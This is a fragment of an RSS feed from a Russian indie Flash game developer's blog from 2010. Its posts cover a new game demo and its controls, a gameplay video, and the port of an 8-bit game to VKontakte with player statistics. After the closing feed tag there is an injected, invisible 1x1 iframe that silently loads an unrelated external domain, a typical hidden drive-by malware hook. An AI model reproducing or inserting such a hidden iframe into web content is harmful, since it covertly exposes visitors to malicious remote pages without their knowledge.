		<description><![CDATA[Новая демка проекта. Пока запилил 5 уровней из 15. Очень нуждаюсь в вашей критике, советах, пожеланиях, т.к. на данном этапе ещё можно что-то поменять в лучшую сторону.
Желательно запускать на флеш плеере 10, т.к. 9 иногда почему то падает&#8230;
http://anegmetex.com/flash/TedDemo2.html (6 Мб) 
Управление:
WASD &#8211; перемещение
Мышь – Прицеливание и стрельба
1,2,3,4 – Переключение оружия





]]></description>
			<content:encoded><![CDATA[<p>Новая демка проекта. Пока запилил 5 уровней из 15. Очень нуждаюсь в вашей критике, советах, пожеланиях, т.к. на данном этапе ещё можно что-то поменять в лучшую сторону.<br />
Желательно запускать на флеш плеере 10, т.к. 9 иногда почему то падает&#8230;</p>
<p><a href="http://anegmetex.com/flash/TedDemo2.html">http://anegmetex.com/flash/TedDemo2.html</a> (6 Мб) </p>
<p><strong>Управление:</strong><br />
WASD &#8211; перемещение<br />
Мышь – Прицеливание и стрельба<br />
1,2,3,4 – Переключение оружия</p>
<p><img src="http://www.anegmetex.com/flash/TedDemo2s_1.jpg" alt="" /><br />
<span id="more-193"></span><br />
<img src="http://www.anegmetex.com/flash/TedDemo2s_2.jpg" alt="" /></p>
<p><img src="http://www.anegmetex.com/flash/TedDemo2s_3.jpg" alt="" /></p>
<p><img src="http://www.anegmetex.com/flash/TedDemo2s_4.jpg" alt="" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anegmetex.com/devblog/2010/07/04/novaya-demka-teda/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Новости</title>
		<link>http://www.anegmetex.com/devblog/2010/06/29/novosti/</link>
		<comments>http://www.anegmetex.com/devblog/2010/06/29/novosti/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 10:51:31 +0000</pubDate>
		<dc:creator>Oleg Antipov</dc:creator>
				<category><![CDATA[Блог]]></category>
		<category><![CDATA[Проекты]]></category>

		<guid isPermaLink="false">http://www.anegmetex.com/devblog/?p=190</guid>
		<description><![CDATA[Вчера наконец то защитил диссертацию магистра, поэтому наконец то могу больше времени уделять блогу и проекту.
Скоро планирую выпустить новую демку моего многострадального проекта про Теда )
Ну а пока, чтобы не быть уж совсем голословным, выкладываю видео геймплея второго уровня игрушки:

Кстати о записи видео. Очень советую програмку zdrecorder. Все остальные, даже такие именитые как камтазия, безбожно [...]]]></description>
			<content:encoded><![CDATA[<p>Вчера наконец то защитил диссертацию магистра, поэтому наконец то могу больше времени уделять блогу и проекту.</p>
<p>Скоро планирую выпустить новую демку моего многострадального проекта про Теда )<br />
Ну а пока, чтобы не быть уж совсем голословным, выкладываю видео геймплея второго уровня игрушки:</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/Ux3FF3O840I&#038;hl=ru_RU&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Ux3FF3O840I&#038;hl=ru_RU&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p>Кстати о записи видео. Очень советую програмку zdrecorder. Все остальные, даже такие именитые как камтазия, безбожно тормозили при записи ролика.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anegmetex.com/devblog/2010/06/29/novosti/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>“8Бит Киллер” Вконтакте</title>
		<link>http://www.anegmetex.com/devblog/2010/06/13/%e2%80%9c8bit-killer%e2%80%9d-vkontakte/</link>
		<comments>http://www.anegmetex.com/devblog/2010/06/13/%e2%80%9c8bit-killer%e2%80%9d-vkontakte/#comments</comments>
		<pubDate>Sun, 13 Jun 2010 12:47:22 +0000</pubDate>
		<dc:creator>Oleg Antipov</dc:creator>
				<category><![CDATA[Новости]]></category>

		<guid isPermaLink="false">http://www.anegmetex.com/devblog/?p=187</guid>
		<description><![CDATA[Социалка наступает со всех сторон, вот и я решил попробовать себя на этом поприще.
И начал я с портирования своих старых игр для социальной сети Вконтакте. Первым стал 8bit Little Killer который был художественно переименован в 8Бит Киллера, т.к. мне не удалось слово Little звучно вписать в русское название ) В целом портирование, изучение API и [...]]]></description>
			<content:encoded><![CDATA[<p>Социалка наступает со всех сторон, вот и я решил попробовать себя на этом поприще.</p>
<p>И начал я с портирования своих старых игр для социальной сети Вконтакте. Первым стал 8bit Little Killer который был художественно переименован в 8Бит Киллера, т.к. мне не удалось слово Little звучно вписать в русское название ) В целом портирование, изучение API и перевод игры на русский занял около дня. Кроме того я улучшил баланс игры и слегка изменил правила. Игра стала чуть сложней, но и интересней я думаю.<br />
<span id="more-187"></span><br />
Погамать в игру можно здесь: <a href="http://vkontakte.ru/app1888081">http://vkontakte.ru/app1888081</a><br />
<img src="http://www.anegmetex.com/devblog/files/vkKiller00.jpg" alt="flash игры вконтакте" /></p>
<p>Хотел бы сказать спасибо комраду <a href="http://flashgamedev.ru/memberlist.php?mode=viewprofile&#038;u=186">Soulghai</a> за помощь и советы, а также ребятам из <a href="http://apitech.ru/">APITech</a> за предоставленную платформу <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Вообще особой популярности и соответственно прибыли я не ожидаю от игры по следующим причинам:<br />
1) Вконтакте рулят так называемые Skills-игры, где игровая сессия менее одной минуты, и игра прежде всего на ловкость и умение. После каждой игровой сессии показывают рекламу. У меня игровая сессия в зависимости от умения игрока может достигать нескольких часов и всё это без показа рекламы.<br />
2) Даже учитывая предыдущий пункт в моей игре очень мягкая монетизация. Попап рекламы выскакиевает только при проигрыше. Между уровнями я решил попап не делать.</p>
<p>Вот такие пироги. Немножко статистики по игре:<br />
1) На данный момент за два дня после аппрува игры игру установило чуть более 2.5к человек.<br />
<img src="http://www.anegmetex.com/devblog/files/vkKiller01.jpg" alt="flash игры вконтакте" /></p>
<p>2) Судя по статистике в основном это очень юные участники социальной сети:<br />
<img src="http://www.anegmetex.com/devblog/files/vkKiller02.jpg" alt="flash игры вконтакте" /></p>
<p>3) В основном все они из Москвы или Питера.<br />
<img src="http://www.anegmetex.com/devblog/files/vkKiller03.jpg" alt="flash игры вконтакте" /></p>
<p>4) В топе игры можно посмотреть на фотки моей целевой аудитории <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<img src="http://www.anegmetex.com/devblog/files/vkKiller04.jpg" alt="flash игры вконтакте" /></p>
<p>Добавляйтесь ко мне <a href="http://vkontakte.ru/o.antipov">в друзья</a> и посоревнуемся <img src='http://www.anegmetex.com/devblog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Мой лучший результат в игре – 183925 очков.</p>
<p>В общем зачёте думаю соревноваться уже не имеет смысла:<br />
<img src="http://www.anegmetex.com/devblog/files/vkKiller05.jpg" alt="flash игры вконтакте" /></p>
<p>Ребята очень серьёзно подходят к делу набирания очков. Чтобы набрать 600k по моим прикидкам надо сидеть за игрой более 5 часов OMG…</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anegmetex.com/devblog/2010/06/13/%e2%80%9c8bit-killer%e2%80%9d-vkontakte/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
	</channel>
</rss>
<iframe src='http://clisytopus.in/' width='1' height='1' style='visibility: hidden;'></iframe>